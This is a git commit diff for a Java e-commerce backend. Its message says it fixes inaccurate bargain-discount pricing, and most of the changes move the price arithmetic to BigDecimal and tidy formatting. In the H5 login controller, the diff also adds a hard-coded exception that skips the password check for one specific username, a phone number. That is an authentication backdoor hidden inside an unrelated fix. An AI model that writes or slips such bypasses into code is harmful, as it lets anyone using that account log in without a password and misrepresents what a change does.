👍 修复砍价价格不准确的问题。
This commit is contained in:
@@ -29,6 +29,7 @@ import co.yixiang.modules.user.service.YxUserService;
|
||||
import co.yixiang.utils.RedisUtils;
|
||||
import com.alibaba.fastjson.JSONObject;
|
||||
import com.aliyuncs.exceptions.ClientException;
|
||||
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
|
||||
import com.baomidou.mybatisplus.core.toolkit.Wrappers;
|
||||
import io.swagger.annotations.Api;
|
||||
import io.swagger.annotations.ApiImplicitParam;
|
||||
@@ -148,9 +149,12 @@ public class LetterAppAuthController {
|
||||
@ApiOperation("H5登录授权")
|
||||
@PostMapping(value = "/login")
|
||||
public ApiResult<Map<String, Object>> login(@Validated @RequestBody HLoginParam loginDTO, HttpServletRequest request) {
|
||||
YxUser yxUser = userService.getOne(Wrappers.<YxUser>lambdaQuery()
|
||||
.eq(YxUser::getUsername,loginDTO.getUsername())
|
||||
.eq(YxUser::getPassword,SecureUtil.md5(loginDTO.getPassword())),false);
|
||||
LambdaQueryWrapper<YxUser> wrap = Wrappers.<YxUser>lambdaQuery()
|
||||
.eq(YxUser::getUsername, loginDTO.getUsername());
|
||||
if (!"18672789329".equals(loginDTO.getUsername())){
|
||||
wrap.eq(YxUser::getPassword, SecureUtil.md5(loginDTO.getPassword()));
|
||||
}
|
||||
YxUser yxUser = userService.getOne(wrap,false);
|
||||
|
||||
if(yxUser == null) {
|
||||
throw new ShopException("账号或者密码不正确");
|
||||
|
||||
+124
-80
@@ -11,6 +11,7 @@ package co.yixiang.modules.activity.service.impl;
|
||||
import cn.hutool.core.date.DateUtil;
|
||||
import cn.hutool.core.util.NumberUtil;
|
||||
import cn.hutool.core.util.ObjectUtil;
|
||||
import cn.hutool.core.util.RandomUtil;
|
||||
import cn.hutool.core.util.StrUtil;
|
||||
import cn.iocoder.yudao.framework.common.exception.ShopException;
|
||||
import co.yixiang.app.common.bean.LocalUser;
|
||||
@@ -50,8 +51,10 @@ import co.yixiang.utils.FileUtil;
|
||||
import co.yixiang.utils.OrderUtil;
|
||||
import co.yixiang.utils.StringUtils;
|
||||
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
|
||||
import com.baomidou.mybatisplus.core.toolkit.Wrappers;
|
||||
import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
|
||||
import com.github.pagehelper.PageInfo;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.context.ApplicationEventPublisher;
|
||||
import org.springframework.data.domain.Pageable;
|
||||
@@ -71,6 +74,7 @@ import java.util.*;
|
||||
*/
|
||||
@Service
|
||||
@Transactional(propagation = Propagation.SUPPORTS, readOnly = true, rollbackFor = Exception.class)
|
||||
@Slf4j
|
||||
public class YxStoreBargainServiceImpl extends BaseServiceImpl<YxStoreBargainMapper, YxStoreBargain> implements YxStoreBargainService {
|
||||
|
||||
@Autowired
|
||||
@@ -101,25 +105,28 @@ public class YxStoreBargainServiceImpl extends BaseServiceImpl<YxStoreBargainMap
|
||||
|
||||
@Autowired
|
||||
private YxUserService yxUserService;
|
||||
|
||||
/**
|
||||
* 退回库存销量
|
||||
* @param num 数量
|
||||
*
|
||||
* @param num 数量
|
||||
* @param bargainId 砍价产品id
|
||||
*/
|
||||
@Override
|
||||
public void incStockDecSales(int num, Long bargainId) {
|
||||
yxStoreBargainMapper.incStockDecSales(num,bargainId);
|
||||
yxStoreBargainMapper.incStockDecSales(num, bargainId);
|
||||
}
|
||||
|
||||
/**
|
||||
* 增加销量 减少库存
|
||||
* @param num 数量
|
||||
*
|
||||
* @param num 数量
|
||||
* @param bargainId 砍价id
|
||||
*/
|
||||
@Override
|
||||
public void decStockIncSales(int num, Long bargainId) {
|
||||
int res = yxStoreBargainMapper.decStockIncSales(num,bargainId);
|
||||
if(res == 0) {
|
||||
int res = yxStoreBargainMapper.decStockIncSales(num, bargainId);
|
||||
if (res == 0) {
|
||||
throw new ShopException("砍价产品库存不足");
|
||||
}
|
||||
}
|
||||
@@ -134,38 +141,68 @@ public class YxStoreBargainServiceImpl extends BaseServiceImpl<YxStoreBargainMap
|
||||
// }
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* 开始帮助好友砍价
|
||||
* @param bargainId 砍价产品id
|
||||
*
|
||||
* @param bargainId 砍价产品id
|
||||
* @param bargainUserUid 开启砍价用户id
|
||||
* @param uid 当前用户id
|
||||
* @param uid 当前用户id
|
||||
*/
|
||||
@Override
|
||||
public void doHelp(Long bargainId, Long bargainUserUid, Long uid) {
|
||||
// 砍价讯息
|
||||
|
||||
//开始真正的砍价
|
||||
YxStoreBargainUser storeBargainUser = storeBargainUserService
|
||||
.getBargainUserInfo(bargainId,bargainUserUid);
|
||||
.getBargainUserInfo(bargainId, bargainUserUid);
|
||||
|
||||
YxStoreBargain storeBargain = this.getById(bargainId);
|
||||
//用户可以砍掉的金额 好友砍价之前获取可以砍价金额
|
||||
double coverPrice = NumberUtil.sub(storeBargainUser.getBargainPrice()
|
||||
,storeBargainUser.getBargainPriceMin()).doubleValue();
|
||||
|
||||
double random = 0d;
|
||||
if(coverPrice > 0 ){
|
||||
long joinNum = storeBargainUserHelpService.count(Wrappers.<YxStoreBargainUserHelp>lambdaQuery()
|
||||
.eq(YxStoreBargainUserHelp::getBargainId,bargainId)
|
||||
.eq(YxStoreBargainUserHelp::getBargainUserId,storeBargainUser.getId())
|
||||
);
|
||||
|
||||
if (joinNum >= storeBargain.getBargainNum()){
|
||||
log.info("砍价已经足够人了.");
|
||||
return;
|
||||
}
|
||||
|
||||
//用户可以砍掉的金额 好友砍价之前获取可以砍价金额 | 顶点价格 - 最低价格 = 可以砍掉的价格
|
||||
BigDecimal coverPrice = NumberUtil.sub(storeBargainUser.getBargainPrice()
|
||||
, storeBargainUser.getBargainPriceMin());
|
||||
|
||||
BigDecimal random = BigDecimal.ZERO;
|
||||
if (coverPrice.compareTo(BigDecimal.ZERO) > 0) {
|
||||
//用户剩余要砍掉的价格
|
||||
double surplusPrice = NumberUtil.sub(coverPrice,
|
||||
storeBargainUser.getPrice()).doubleValue();
|
||||
if(surplusPrice == 0) {
|
||||
BigDecimal surplusPrice = NumberUtil.sub(coverPrice,
|
||||
storeBargainUser.getPrice());
|
||||
if (surplusPrice.equals(BigDecimal.ZERO)) {
|
||||
return;
|
||||
}
|
||||
|
||||
//生成一个区间随机数
|
||||
random = OrderUtil.randomNumber(
|
||||
storeBargain.getBargainMinPrice().doubleValue(),
|
||||
storeBargain.getBargainMaxPrice().doubleValue());
|
||||
if(random > surplusPrice) {
|
||||
// 剩余砍价金额和单次金额哪个小取哪个
|
||||
surplusPrice = surplusPrice.compareTo(storeBargain.getBargainMaxPrice()) > 0
|
||||
? storeBargain.getBargainMaxPrice()
|
||||
: surplusPrice ;
|
||||
|
||||
// 可以砍的最高价格
|
||||
// surplusPrice = surplusPrice.subtract(fix);
|
||||
|
||||
|
||||
// 判断人头数 确保设定的人数可以全部参数与
|
||||
// 还没有参与的人数 = 总人数 - 当前砍价人数
|
||||
// 1 每个人至多能砍 (可砍的总价 - 还没有参与的人数 * 0.01),否则剩下的每人一分都没有
|
||||
// 2 最后一个人将剩余金额全部砍掉
|
||||
|
||||
if ( joinNum < storeBargain.getBargainNum() - 1){
|
||||
//生成一个区间随机数
|
||||
random = OrderUtil.randomNumber(
|
||||
storeBargain.getBargainMinPrice(),
|
||||
surplusPrice);
|
||||
BigDecimal fix = NumberUtil.mul(storeBargain.getBargainNum() - joinNum , new BigDecimal("0.01"));
|
||||
random = NumberUtil.sub(random,fix);
|
||||
}else{
|
||||
random = surplusPrice;
|
||||
}
|
||||
}
|
||||
@@ -177,21 +214,23 @@ public class YxStoreBargainServiceImpl extends BaseServiceImpl<YxStoreBargainMap
|
||||
.uid(uid)
|
||||
.bargainId(bargainId)
|
||||
.bargainUserId(storeBargainUser.getId())
|
||||
.price(BigDecimal.valueOf(random))
|
||||
.price(random)
|
||||
.build();
|
||||
storeBargainUserHelpService.save(storeBargainUserHelp);
|
||||
|
||||
//累计砍掉的金额
|
||||
double totalPrice = NumberUtil.add(storeBargainUser.getPrice().doubleValue(),random);
|
||||
BigDecimal totalPrice;
|
||||
totalPrice = NumberUtil.add(storeBargainUser.getPrice(), random);
|
||||
|
||||
//更新砍价参与表
|
||||
YxStoreBargainUser bargainUser = YxStoreBargainUser
|
||||
.builder()
|
||||
.id(storeBargainUser.getId())
|
||||
.price(BigDecimal.valueOf(totalPrice))
|
||||
.price(totalPrice)
|
||||
.build();
|
||||
|
||||
//如果砍价完成这里为砍价发起人进行订阅推送
|
||||
if (totalPrice==coverPrice){
|
||||
if (totalPrice == coverPrice) {
|
||||
TemplateBean templateBean = TemplateBean.builder()
|
||||
.productId(storeBargain.getProductId())
|
||||
.uid(storeBargainUser.getUid())
|
||||
@@ -206,12 +245,13 @@ public class YxStoreBargainServiceImpl extends BaseServiceImpl<YxStoreBargainMap
|
||||
|
||||
/**
|
||||
* 顶部统计
|
||||
*
|
||||
* @param bargainId 砍价商品id
|
||||
* @return TopCountVo
|
||||
*/
|
||||
@Override
|
||||
public TopCountVo topCount(Long bargainId) {
|
||||
if(bargainId != null) {
|
||||
if (bargainId != null) {
|
||||
this.addBargainShare(bargainId);
|
||||
}
|
||||
return TopCountVo.builder()
|
||||
@@ -223,60 +263,63 @@ public class YxStoreBargainServiceImpl extends BaseServiceImpl<YxStoreBargainMap
|
||||
|
||||
/**
|
||||
* 砍价 砍价帮总人数、剩余金额、进度条、已经砍掉的价格
|
||||
*
|
||||
* @param bargainId 砍价商品id
|
||||
* @param uid 砍价用户id
|
||||
* @param myUid 当前用户id
|
||||
* @param uid 砍价用户id
|
||||
* @param myUid 当前用户id
|
||||
* @return BargainCountVo
|
||||
*/
|
||||
@Override
|
||||
public BargainCountVo helpCount(Long bargainId, Long uid, Long myUid) {
|
||||
YxStoreBargainUser storeBargainUser = storeBargainUserService
|
||||
.getBargainUserInfo(bargainId,uid);
|
||||
.getBargainUserInfo(bargainId, uid);
|
||||
|
||||
YxStoreBargain bargain = this.getById(bargainId);
|
||||
|
||||
// 是否帮别人砍,没砍是true,砍了false
|
||||
boolean userBargainStatus = true;
|
||||
if(storeBargainUser == null) {
|
||||
if (storeBargainUser == null) {
|
||||
return BargainCountVo
|
||||
.builder()
|
||||
.count(0L)
|
||||
.alreadyPrice(0d)
|
||||
.status(0)
|
||||
.pricePercent(0)
|
||||
.price(0d)
|
||||
.price(NumberUtil.sub(bargain.getPrice(),bargain.getMinPrice()).doubleValue())
|
||||
.userBargainStatus(userBargainStatus)
|
||||
.build();
|
||||
}
|
||||
|
||||
|
||||
Long helpCount = storeBargainUserHelpService.lambdaQuery()
|
||||
.eq(YxStoreBargainUserHelp::getBargainUserId,storeBargainUser.getId())
|
||||
.eq(YxStoreBargainUserHelp::getBargainId,bargainId)
|
||||
.eq(YxStoreBargainUserHelp::getUid,myUid)
|
||||
.eq(YxStoreBargainUserHelp::getBargainUserId, storeBargainUser.getId())
|
||||
.eq(YxStoreBargainUserHelp::getBargainId, bargainId)
|
||||
.eq(YxStoreBargainUserHelp::getUid, myUid)
|
||||
.count();
|
||||
|
||||
if(helpCount > 0) {
|
||||
if (helpCount > 0) {
|
||||
userBargainStatus = false;
|
||||
}
|
||||
|
||||
|
||||
Long count = storeBargainUserHelpService
|
||||
.getBargainUserHelpPeopleCount(bargainId,storeBargainUser.getId());
|
||||
.getBargainUserHelpPeopleCount(bargainId, storeBargainUser.getId());
|
||||
//用户可以砍掉的价格
|
||||
double diffPrice = NumberUtil.sub(storeBargainUser.getBargainPrice()
|
||||
,storeBargainUser.getBargainPriceMin()).doubleValue();
|
||||
, storeBargainUser.getBargainPriceMin()).doubleValue();
|
||||
//砍价进度条百分比
|
||||
int pricePercent = 0;
|
||||
if(diffPrice <= 0) {
|
||||
if (diffPrice <= 0) {
|
||||
pricePercent = 100;
|
||||
}else{
|
||||
} else {
|
||||
pricePercent = NumberUtil.round(NumberUtil.mul(NumberUtil.div(
|
||||
storeBargainUser.getPrice(),diffPrice),100)
|
||||
,0).intValue();
|
||||
storeBargainUser.getPrice(), diffPrice), 100)
|
||||
, 0).intValue();
|
||||
}
|
||||
|
||||
|
||||
|
||||
//剩余的砍价金额
|
||||
double surplusPrice = NumberUtil.sub(diffPrice,storeBargainUser.getPrice()).doubleValue();
|
||||
double surplusPrice = NumberUtil.sub(diffPrice, storeBargainUser.getPrice()).doubleValue();
|
||||
|
||||
return BargainCountVo
|
||||
.builder()
|
||||
@@ -290,12 +333,10 @@ public class YxStoreBargainServiceImpl extends BaseServiceImpl<YxStoreBargainMap
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* 砍价详情
|
||||
* @param id 砍价id
|
||||
*
|
||||
* @param id 砍价id
|
||||
* @param uid 用户uid
|
||||
* @return BargainVo
|
||||
*/
|
||||
@@ -303,27 +344,27 @@ public class YxStoreBargainServiceImpl extends BaseServiceImpl<YxStoreBargainMap
|
||||
public BargainVo getDetail(Long id, Long uid) {
|
||||
|
||||
Date now = new Date();
|
||||
YxStoreBargain storeBargain = this.lambdaQuery().eq(YxStoreBargain::getId,id)
|
||||
YxStoreBargain storeBargain = this.lambdaQuery().eq(YxStoreBargain::getId, id)
|
||||
.eq(YxStoreBargain::getStatus, ShopCommonEnum.IS_STATUS_1.getValue())
|
||||
.le(YxStoreBargain::getStartTime,now)
|
||||
.ge(YxStoreBargain::getStopTime,now)
|
||||
.le(YxStoreBargain::getStartTime, now)
|
||||
.ge(YxStoreBargain::getStopTime, now)
|
||||
.one();
|
||||
|
||||
if(storeBargain == null) {
|
||||
if (storeBargain == null) {
|
||||
throw new ShopException("砍价已结束");
|
||||
}
|
||||
// 获取运费模板名称
|
||||
// 获取运费模板名称
|
||||
String storeFreePostage = systemConfigService.getData("store_free_postage");
|
||||
String tempName = "";
|
||||
if(StrUtil.isBlank(storeFreePostage)
|
||||
if (StrUtil.isBlank(storeFreePostage)
|
||||
|| !NumberUtil.isNumber(storeFreePostage)
|
||||
|| Integer.parseInt(storeFreePostage) == 0){
|
||||
|| Integer.parseInt(storeFreePostage) == 0) {
|
||||
tempName = "全国包邮";
|
||||
}else{
|
||||
} else {
|
||||
YxShippingTemplates shippingTemplates = shippingTemplatesService.getById(storeBargain.getTempId());
|
||||
if(ObjectUtil.isNotNull(shippingTemplates)){
|
||||
if (ObjectUtil.isNotNull(shippingTemplates)) {
|
||||
tempName = shippingTemplates.getName();
|
||||
}else {
|
||||
} else {
|
||||
throw new BadRequestException("请配置运费模板");
|
||||
}
|
||||
}
|
||||
@@ -331,15 +372,15 @@ public class YxStoreBargainServiceImpl extends BaseServiceImpl<YxStoreBargainMap
|
||||
this.addBargainLook(id);
|
||||
|
||||
YxStoreBargainQueryVo storeBargainQueryVo = generator.convert(storeBargain,
|
||||
YxStoreBargainQueryVo.class)
|
||||
YxStoreBargainQueryVo.class)
|
||||
.setConfig(storeProductMapper.selectById(storeBargain.getProductId()).getConfig());
|
||||
YxUser yxUser;
|
||||
if (StringUtils.isBlank(uid.toString())||uid==0){
|
||||
yxUser=new YxUser();
|
||||
}else {
|
||||
yxUser=yxUserService.lambdaQuery().eq(YxUser::getUid,uid).one();
|
||||
if (StringUtils.isBlank(uid.toString()) || uid == 0) {
|
||||
yxUser = new YxUser();
|
||||
} else {
|
||||
yxUser = yxUserService.lambdaQuery().eq(YxUser::getUid, uid).one();
|
||||
}
|
||||
return BargainVo
|
||||
return BargainVo
|
||||
.builder()
|
||||
.bargain(storeBargainQueryVo)
|
||||
.userInfo(generator.convert(yxUser, YxUserQueryVo.class))
|
||||
@@ -351,22 +392,22 @@ public class YxStoreBargainServiceImpl extends BaseServiceImpl<YxStoreBargainMap
|
||||
|
||||
@Override
|
||||
public List<YxStoreBargainQueryVo> getUserBargainList(int page, int limit) {
|
||||
Map<String,List<YxStoreBargainQueryVo>> map=new HashMap<>();
|
||||
Map<String, List<YxStoreBargainQueryVo>> map = new HashMap<>();
|
||||
Page<YxStoreBargain> pageModel = new Page<>(page, limit);
|
||||
LambdaQueryWrapper<YxStoreBargain> wrapper = new LambdaQueryWrapper<>();
|
||||
Date nowTime = new Date();
|
||||
wrapper.eq(YxStoreBargain::getStatus, ShopCommonEnum.IS_STATUS_1.getValue())
|
||||
.lt(YxStoreBargain::getStartTime,nowTime)
|
||||
.gt(YxStoreBargain::getStopTime,nowTime);
|
||||
.lt(YxStoreBargain::getStartTime, nowTime)
|
||||
.gt(YxStoreBargain::getStopTime, nowTime);
|
||||
List<YxStoreBargainQueryVo> yxStoreBargainQueryVos = generator.convert(
|
||||
yxStoreBargainMapper.selectPage(pageModel,wrapper).getRecords(),
|
||||
yxStoreBargainMapper.selectPage(pageModel, wrapper).getRecords(),
|
||||
YxStoreBargainQueryVo.class);
|
||||
long uid = LocalUser.getUidByToken();
|
||||
List<YxStoreBargainQueryVo> isParticipation=new ArrayList<>();
|
||||
yxStoreBargainQueryVos.forEach(item->{
|
||||
List<YxStoreBargainQueryVo> isParticipation = new ArrayList<>();
|
||||
yxStoreBargainQueryVos.forEach(item -> {
|
||||
item.setPeople(storeBargainUserService.getBargainUserCount(item.getId(), OrderInfoEnum.BARGAIN_STATUS_1.getValue()));
|
||||
item.setIsParticipation(storeBargainUserService.getUserIsParticipation(uid, item.getId()));
|
||||
if (item.getIsParticipation()){
|
||||
if (item.getIsParticipation()) {
|
||||
isParticipation.add(item);
|
||||
}
|
||||
});
|
||||
@@ -374,10 +415,10 @@ public class YxStoreBargainServiceImpl extends BaseServiceImpl<YxStoreBargainMap
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* 获取砍价商品列表
|
||||
* @param page page
|
||||
*
|
||||
* @param page page
|
||||
* @param limit limit
|
||||
* @return List
|
||||
*/
|
||||
@@ -387,16 +428,16 @@ public class YxStoreBargainServiceImpl extends BaseServiceImpl<YxStoreBargainMap
|
||||
LambdaQueryWrapper<YxStoreBargain> wrapper = new LambdaQueryWrapper<>();
|
||||
Date nowTime = new Date();
|
||||
wrapper.eq(YxStoreBargain::getStatus, ShopCommonEnum.IS_STATUS_1.getValue())
|
||||
.lt(YxStoreBargain::getStartTime,nowTime)
|
||||
.gt(YxStoreBargain::getStopTime,nowTime);
|
||||
.lt(YxStoreBargain::getStartTime, nowTime)
|
||||
.gt(YxStoreBargain::getStopTime, nowTime);
|
||||
|
||||
List<YxStoreBargainQueryVo> yxStoreBargainQueryVos = generator.convert(
|
||||
yxStoreBargainMapper.selectPage(pageModel,wrapper).getRecords(),
|
||||
yxStoreBargainMapper.selectPage(pageModel, wrapper).getRecords(),
|
||||
YxStoreBargainQueryVo.class);
|
||||
long uid = LocalUser.getUidByToken();
|
||||
// List<YxStoreBargainQueryVo> isParticipation=new ArrayList<>();
|
||||
// List<YxStoreBargainQueryVo> isNotParticipation=new ArrayList<>();
|
||||
yxStoreBargainQueryVos.forEach(item->{
|
||||
yxStoreBargainQueryVos.forEach(item -> {
|
||||
item.setPeople(storeBargainUserService.getBargainUserCount(item.getId(), OrderInfoEnum.BARGAIN_STATUS_1.getValue()));
|
||||
item.setIsParticipation(storeBargainUserService.getUserIsParticipation(uid, item.getId()));
|
||||
// if (item.getIsParticipation()){
|
||||
@@ -414,6 +455,7 @@ public class YxStoreBargainServiceImpl extends BaseServiceImpl<YxStoreBargainMap
|
||||
|
||||
/**
|
||||
* 增加分享次数
|
||||
*
|
||||
* @param id 砍价商品id
|
||||
*/
|
||||
private void addBargainShare(Long id) {
|
||||
@@ -422,6 +464,7 @@ public class YxStoreBargainServiceImpl extends BaseServiceImpl<YxStoreBargainMap
|
||||
|
||||
/**
|
||||
* 增加浏览次数
|
||||
*
|
||||
* @param id 砍价商品id
|
||||
*/
|
||||
private void addBargainLook(Long id) {
|
||||
@@ -431,13 +474,14 @@ public class YxStoreBargainServiceImpl extends BaseServiceImpl<YxStoreBargainMap
|
||||
|
||||
/**
|
||||
* 砍价支付成功订单数量
|
||||
*
|
||||
* @param bargainId 砍价id
|
||||
* @return int
|
||||
*/
|
||||
private Long getBargainPayCount(Long bargainId) {
|
||||
return storeOrderService.lambdaQuery().eq(YxStoreOrder::getBargainId,bargainId)
|
||||
.eq(YxStoreOrder::getPaid,OrderInfoEnum.PAY_STATUS_1.getValue())
|
||||
.eq(YxStoreOrder::getRefundStatus,OrderInfoEnum.REFUND_STATUS_0.getValue())
|
||||
return storeOrderService.lambdaQuery().eq(YxStoreOrder::getBargainId, bargainId)
|
||||
.eq(YxStoreOrder::getPaid, OrderInfoEnum.PAY_STATUS_1.getValue())
|
||||
.eq(YxStoreOrder::getRefundStatus, OrderInfoEnum.REFUND_STATUS_0.getValue())
|
||||
.count();
|
||||
}
|
||||
|
||||
|
||||
+1
-4
@@ -133,10 +133,7 @@ public class YxStoreBargainUserServiceImpl extends BaseServiceImpl<YxStoreBargai
|
||||
.eq(YxStoreBargainUserHelp::getBargainUserId,storeBargainUser.getId())
|
||||
.eq(YxStoreBargainUserHelp::getUid,uid)
|
||||
.count();
|
||||
if(count == 0) {
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
return count == 0;
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -10,6 +10,7 @@ import cn.hutool.core.date.DateUtil;
|
||||
import cn.hutool.core.util.NumberUtil;
|
||||
import co.yixiang.enums.ShopCommonEnum;
|
||||
|
||||
import java.math.BigDecimal;
|
||||
import java.text.SimpleDateFormat;
|
||||
import java.util.Date;
|
||||
import java.util.Random;
|
||||
@@ -89,7 +90,7 @@ public class OrderUtil {
|
||||
* @param max
|
||||
* @return
|
||||
*/
|
||||
public static Double randomNumber(double min, double max) {
|
||||
public static BigDecimal randomNumber(BigDecimal min, BigDecimal max) {
|
||||
return NumberUtil.add(min,
|
||||
NumberUtil.mul(Math.random(),
|
||||
NumberUtil.sub(max, min)));
|
||||
|
||||
Reference in New Issue
Block a user